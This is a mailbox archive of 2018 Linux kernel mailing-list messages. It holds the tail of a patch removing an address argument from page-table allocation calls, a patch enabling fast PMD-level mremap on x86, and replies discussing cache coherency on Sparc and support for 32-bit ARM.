 		return VM_FAULT_OOM;
 
 	/* See the comment in pte_alloc_one_map() */
@@ -3286,7 +3286,7 @@ static vm_fault_t pte_alloc_one_map(struct vm_fault *vmf)
 		pmd_populate(vma->vm_mm, vmf->pmd, vmf->prealloc_pte);
 		spin_unlock(vmf->ptl);
 		vmf->prealloc_pte = NULL;
-	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))) {
+	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd))) {
 		return VM_FAULT_OOM;
 	}
 map_pte:
@@ -3365,7 +3365,7 @@ static vm_fault_t do_set_pmd(struct vm_fault *vmf, struct page *page)
 	 * related to pte entry. Use the preallocated table for that.
 	 */
 	if (arch_needs_pgtable_deposit() && !vmf->prealloc_pte) {
-		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm, vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			return VM_FAULT_OOM;
 		smp_wmb(); /* See comment in __pte_alloc() */
@@ -3603,8 +3603,7 @@ static vm_fault_t do_fault_around(struct vm_fault *vmf)
 			start_pgoff + nr_pages - 1);
 
 	if (pmd_none(*vmf->pmd)) {
-		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm,
-						  vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			goto out;
 		smp_wmb(); /* See comment in __pte_alloc() */
diff --git a/mm/migrate.c b/mm/migrate.c
index 84381b55b2bd..3080b0626026 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -2605,7 +2605,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(mm, pmdp, addr))
+	if (pte_alloc(mm, pmdp))
 		goto abort;
 
 	/* See the comment in pte_alloc_one_map() */
diff --git a/mm/mremap.c b/mm/mremap.c
index 5c2e18505f75..9e68a02a52b1 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -240,7 +240,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			if (pmd_trans_unstable(old_pmd))
 				continue;
 		}
-		if (pte_alloc(new_vma->vm_mm, new_pmd, new_addr))
+		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
 		if (extent > next - new_addr)
diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
index 5029f241908f..f05c8bc38ca5 100644
--- a/mm/userfaultfd.c
+++ b/mm/userfaultfd.c
@@ -513,7 +513,7 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,
 			break;
 		}
 		if (unlikely(pmd_none(dst_pmdval)) &&
-		    unlikely(__pte_alloc(dst_mm, dst_pmd, dst_addr))) {
+		    unlikely(__pte_alloc(dst_mm, dst_pmd))) {
 			err = -ENOMEM;
 			break;
 		}
diff --git a/virt/kvm/arm/mmu.c b/virt/kvm/arm/mmu.c
index ed162a6c57c5..3f8180414301 100644
--- a/virt/kvm/arm/mmu.c
+++ b/virt/kvm/arm/mmu.c
@@ -628,7 +628,7 @@ static int create_hyp_pmd_mappings(pud_t *pud, unsigned long start,
 		BUG_ON(pmd_sect(*pmd));
 
 		if (pmd_none(*pmd)) {
-			pte = pte_alloc_one_kernel(NULL, addr);
+			pte = pte_alloc_one_kernel(NULL);
 			if (!pte) {
 				kvm_err("Cannot allocate Hyp pte\n");
 				return -ENOMEM;
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 4/4] x86: select HAVE_MOVE_PMD for faster mremap (v1)
Date: Fri, 12 Oct 2018 18:32:00 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20181013013200.206928-5-joel@joelfernandes.org>
References: <20181013013200.206928-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539394278 17455 195.159.176.226 (13 Oct 2018 01:31:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:31:18 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begem
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 13 03:31:08 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB8ln-0004L8-JK
	for gla-linux-snps-arc@m.gmane.org; Sat, 13 Oct 2018 03:31:07 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=ON/gv0lkaw9MFzoqzIvquFOECS/57RdJ9D6T+OjDJ5Y=; b=FZOXszWU3CO3wI
	sRiszIF2RIdTniX07yUo9KquL5a1PgIz1kiQ8SjsiGxESw4IDW/JZUdNfx4cdaXWKsrNhs3bY0rA1
	0s06DMnk123tZT1hsSIC/uTw3pWtzEmv+s4iKfifgBj50GqXTZR/R+IJLrSfuyUc8dB5/GKia7KqE
	GQGpwJdoTIiPj7C1RNpm3jS/YmOdnGzKY4/Hx4GednIQaYZrtCa3CKfrMamFX9bIBJUntIdCwJzCG
	/Uwh1FWVrLLXLO8UA97IG2XVacmqnvKPHJg96KjiOQbNDs1stBwSeyQGgikcaa3b7mzdsh286Q79o
	eGH1FebUCtllks897Zlw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB8nr-0004cS-PH; Sat, 13 Oct 2018 01:33:15 +0000
Original-Received: from mail-pl1-x643.google.com ([2607:f8b0:4864:20::643])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB8nH-0004MF-FI
 for linux-snps-arc@lists.infradead.org; Sat, 13 Oct 2018 01:33:07 +0000
Original-Received: by mail-pl1-x643.google.com with SMTP id p25-v6so6669939pli.11
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 18:32:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=jtAK3pAlFMeOO6SUm8Lh3Bmb29tPAciRzUtn881iM5M=;
 b=hu1RRoD4zGFkh1NvswXMY0Mcf7RReZIxK6TbDCgMDMi1xCXvjQWNtmb8jA6UW1Q5ZI
 bybcFeJfratqjTeqEb7mRWAGReU9tL9VCuSkWsUqyCZbL3y+XtXFIKgHbMuC6INYU+VH
 z4FmPqYFb3J2yvvfenwn9pAR6sobi8QuQFyFE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=jtAK3pAlFMeOO6SUm8Lh3Bmb29tPAciRzUtn881iM5M=;
 b=eszx8oOaTntToTyioUt4K7Hf61dYTWGisKM6lQhXijGGbPD2QDWwcgy/lhYu+2yzE/
 e/Zuy3Mm34llFe6Waq+qaFvalRWapd21NBMS1yW3z+slUD8O4RXIRMWZciQ31Nfuasl+
 vAr2lmB2yUE8ZSOyINQDM2Be3dBGa2+qeNUz4OUipPTioV5rvUK5hk7ptB0EcjmrbW9M
 KhYKy82vrSi9p3EkYa2nocT1bNj+Hy3rD2IVdnLJemo9dbFJPo0VOXOmLF7ILBKZ+s0X
 Ug1cHV/+UiZGMrjeitNGlxuuPdc9P/jiBV5bcYl1q2zazU17x5NdQ/y8QDJzj6leoM16
 qd3A==
X-Gm-Message-State: ABuFfoiU9DchBjLSrQ9mrLxOhxJKI7KuYeRn8yvy1F50U94ucnEVP/CM
 4JclqW7hMjE75nbAIaFXjyC/cQ==
X-Google-Smtp-Source: ACcGV60cRgU0XyfJPBpItPjBh+EP7iRiHLZbhDbgbD69TJC4FgrTPRZLx9S2q81RSPgQ8LHOmiT4Xw==
X-Received: by 2002:a17:902:8687:: with SMTP id
 g7-v6mr8297604plo.30.1539394348522; 
 Fri, 12 Oct 2018 18:32:28 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id q7-v6sm6507828pfd.164.2018.10.12.18.32.25
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 18:32:27 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
In-Reply-To: <20181013013200.206928-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_183239_554071_94C29342 
X-CRM114-Status: GOOD (  10.13  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:643 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4546 gmane.linux.kernel:2898080 gmane.linux.ports.mips.general:67071 gmane.linux.ports.ia64:29397 gmane.linux.ports.sh.devel:57644 gmane.linux.kernel.mm:205239 gmane.linux.ports.riscv:1066 gmane.comp.emulators.kvm.arm.devel:19457 gmane.linux.ports.sparc:28571 gmane.linux.ports.hexagon:1919 gmane.linux.ports.parisc:29172 gmane.linux.ports.alpha:5321 gmane.linux.ports.ppc64.devel:164171
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4546>

Moving page-tables at the PMD-level on x86 is known to be safe. Enable
this option so that we can do fast mremap when possible.

Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/x86/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 1a0be022f91d..01c02a9d7825 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -171,6 +171,7 @@ config X86
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MIXED_BREAKPOINTS_REGS
 	select HAVE_MOD_ARCH_SPECIFIC
+	select HAVE_MOVE_PMD
 	select HAVE_NMI
 	select HAVE_OPROFILE
 	select HAVE_OPTPROBES
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 18:35:40 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20181013013540.GA207108@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539394428 27497 195.159.176.226 (13 Oct 2018 01:33:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:33:48 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: kirill@shutemov.name, linux-kernel@vger.kernel.org,
        kernel-team@android.com, minchan@kernel.org, pantin@google.com,
        hughd@google.com, lokeshgidra@google.com, dancol@google.com,
        mhocko@kernel.org, akpm@linux-foundation.org,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-mips@linux-mips.org,
        l
To: David Miller <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 03:33:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB8oF-0006zT-92
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 03:33:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727033AbeJMJKx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 05:10:53 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:41617 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726512AbeJMJKw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 05:10:52 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id q17-v6so6683717plr.8
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 18:35:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=joelfernandes.org; s=google;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=WNSmz6gPUWl0psy6VYdrKZKj8jjeGLoBOEaYk7PTF5E=;
        b=t/bdXm4ahfHUsC1W/kmIGtZM4IaaXFvhptMHyl/MsEl85wogOLcBRPLXwHtXoa2xTR
         d2M48uB6euL4d5IaKV5t6nT5ABUr0y0qRBKJlUNuiclAcNB1bktYaPSMWAk89SYK1P2v
         +doypv+PPbaJGW2yXU+EaPjAWnWnd1ZXLhamE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=WNSmz6gPUWl0psy6VYdrKZKj8jjeGLoBOEaYk7PTF5E=;
        b=MBQzjk2Xm9Plm5+r4pi2Xa89JXldz6NRFngZD3Jutj2KGPXyuRM4fGuxj8xeJw8Ddj
         0ve9jHWpDlnKo6AZ6lGSHxkLzeI/ReoEio6UthZCsxpThdubhpeAtbG2uY5ZgGagPsyx
         NdBKm/7Ct3WvzLkjkcnctTHcVvCcekkNfEdr3ojDVzIQnDMp1Hu753qyjWTYrm8t6arz
         inggrWwvSU4NyqOewzbGzn4AIdX8D7cstyvp8ANjIXZyc9rIFqhcIG6lOHTmOetUQNia
         ZhhW6nHGWMjRvU9c1AbyWR3b69NhM9gouYaWcBxGm7UlxaJzADcVo6QlUl+w9RA/EiAU
         L5zA==
X-Gm-Message-State: ABuFfoi5MIQMY9KiiAKXrXMpupqypmQuD/cAO0Pf/bFYzXPEK1uYNQQc
        GK1uvqwt85EXnl5o35XB+cEZ6w==
X-Google-Smtp-Source: ACcGV63YcGHLeWFH+zMcDfPGfwOAvPK81iWmstN1Bsc/dCjm29V/T1DgWrxlTjwp6QBDN3hA/VReOg==
X-Received: by 2002:a17:902:d20a:: with SMTP id t10-v6mr8118444ply.256.1539394543039;
        Fri, 12 Oct 2018 18:35:43 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
        by smtp.gmail.com with ESMTPSA id 20-v6sm3688934pge.77.2018.10.12.18.35.41
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 12 Oct 2018 18:35:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181012.111836.1569129998592378186.davem@davemloft.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898082 gmane.comp.emulators.kvm.arm.devel:19458 gmane.linux.ports.alpha:5322 gmane.linux.ports.hexagon:1920 gmane.linux.ports.ia64:29398 gmane.linux.ports.mips.general:67072 gmane.linux.kernel.mm:205240 gmane.linux.ports.parisc:29173 gmane.linux.ports.ppc64.devel:164172 gmane.linux.ports.riscv:1067 gmane.linux.ports.sh.devel:57645 gmane.linux.kernel.arc:4547
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898082>

On Fri, Oct 12, 2018 at 11:18:36AM -0700, David Miller wrote:
> From: Joel Fernandes <joel@joelfernandes.org>
[...]
> > Also, do we not flush the caches from any path when we munmap
> > address space?  We do call do_munmap on the old mapping from mremap
> > after moving to the new one.
> 
> Sparc makes sure that shared mapping have consistent colors.  Therefore
> all that's left are private mappings and those will be initialized by
> block stores to clear the page out or similar.
> 
> Also, when creating new mappings, we flush the D-cache when necessary
> in update_mmu_cache().
> 
> We also maintain a bit in the page struct to track when a page which
> was potentially written to on one cpu ends up mapped into another
> address space and flush as necessary.
> 
> The cache is write-through, which simplifies the preconditions we have
> to maintain.

Makes sense, thanks. For the moment I sent patches to enable this on arm64
and x86. We can enable it on sparc as well at a later time as it sounds it
could be a safe optimization to apply to that architecture as well.

thanks,

 - Joel



From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Colascione <dancol@google.com>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 18:39:45 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1> <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net> <20181013013540.GA207108@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539394670 11852 195.159.176.226 (13 Oct 2018 01:37:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:37:50 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>, hughd@google.com,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, chris@zankel.net,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, jonas@southpole.se, Julia.Lawall@lip6.fr,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
        lftan@altera.com, linux-alpha@vger.kernel.org,
        linux
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 03:37:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gB8s9-0002vf-Mk
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 03:37:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726781AbeJMJO5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 05:14:57 -0400
Original-Received: from mail-io1-f66.google.com ([209.85.166.66]:42027 "EHLO
        mail-io1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726227AbeJMJO5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 05:14:57 -0400
Original-Received: by mail-io1-f66.google.com with SMTP id n18-v6so10517654ioa.9
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 18:39:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=Wde0HcwExXY831MfxZDBcHjXK7XvngyeZU1X9StNjyk=;
        b=mRAnllfVhCFMlnCIOcENVRpZ9fWtdthn5GIa/84lOa1zfYRyC7orxaopMW45sB8eGB
         ivJ95/M5otzqwf+a9a0kBxZZQSGJZfhDMo+nmJKVkyBRnP8qxtUI1xy15rJyzhFmnyt0
         8+wcDDhVwfzIxE7o4UdypM1uFOyBZO+dsZHL9V9EjcRk/t9uN1N8+jXX+FQbQNwLNM6+
         Yw/NuPi1khJ60fOVJAglTvakPu+RdegP9nyurUbv1ptWNwxhwQDL9ydwtFB3Y4wuPcbb
         mQP4MZorbCaZStz3SOglr9oedZvionoAiMgHFAr+d3BHihJaHkX9rSbjnDxfL9w+LOjP
         xsfg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=Wde0HcwExXY831MfxZDBcHjXK7XvngyeZU1X9StNjyk=;
        b=VPJ5A3cRf2JXQ8i7rQhY6a5fCSU+irvDLQTDqaSySjrTjpV2mX/NjbbqcGfCaSXmm6
         ETb/Ve3Q4af2+VtvybMvywm1mndlZV6mRcGDkcwFrh9Gbz2FR0odHvHYQrhigFLu/k6+
         Ci+r0V5mj8ICULdX08CJTuTukzxZD3sHpM9imUa7q2h3ht7UM3lmbu46+S1KSL+II7gv
         DsawiYu66tBjupi/x7xX6DGdphZPXVf+oK1FLRlu4Aeg10V8YhDWqXLZAYqBHMY7RdBM
         fnvn4giEwUAkiquGbnKcF992d9SHdp3Utghi5XBKGGK7Iqal3FmWl1eizdNde6OUbKPX
         FJww==
X-Gm-Message-State: ABuFfoiOqk2mFmWmusMB2szwXfvj2OcmThWdG/70yWjT5eBJ4u6aDf6c
        VwT/+7p4DbYcMcHrO/Hd/qpEcTiGqI+pLQmhJU3AVg==
X-Google-Smtp-Source: ACcGV63O+2oHow+MnmDFFN/fGr+ypIXJq0Jebw7vm8a3hwEac10cSSqcJGLdjRO5qFIM+0mJ+lFBqqSZgai2siyMk8M=
X-Received: by 2002:a6b:b249:: with SMTP id b70-v6mr5998814iof.252.1539394786418;
 Fri, 12 Oct 2018 18:39:46 -0700 (PDT)
Original-Received: by 2002:a4f:d604:0:0:0:0:0 with HTTP; Fri, 12 Oct 2018 18:39:45
 -0700 (PDT)
In-Reply-To: <20181013013540.GA207108@joelaf.mtv.corp.google.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898083 gmane.comp.emulators.kvm.arm.devel:19459 gmane.linux.ports.alpha:5323 gmane.linux.ports.hexagon:1921 gmane.linux.ports.ia64:29399 gmane.linux.ports.mips.general:67073 gmane.linux.kernel.mm:205241 gmane.linux.ports.parisc:29174 gmane.linux.ports.ppc64.devel:164173 gmane.linux.ports.riscv:1068 gmane.linux.ports.sh.devel:57646 gmane.linux.kernel.arc:4548
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898083>

Not 32-bit ARM?

On Fri, Oct 12, 2018 at 6:35 PM, Joel Fernandes <joel@joelfernandes.org> wrote:
> On Fri, Oct 12, 2018 at 11:18:36AM -0700, David Miller wrote:
>> From: Joel Fernandes <joel@joelfernandes.org>
> [...]
>> > Also, do we not flush the caches from any path when we munmap
>> > address space?  We do call do_munmap on the old mapping from mremap
>> > after moving to the new one.
>>
>> Sparc makes sure that shared mapping have consistent colors.  Therefore
>> all that's left are private mappings and those will be initialized by
>> block stores to clear the page out or similar.
>>
>> Also, when creating new mappings, we flush the D-cache when necessary
>> in update_mmu_cache().
>>
>> We also maintain a bit in the page struct to track when a page which
>> was potentially written to on one cpu ends up mapped into another
>> address space and flush as necessary.
>>
>> The cache is write-through, which simplifies the preconditions we have
>> to maintain.
>
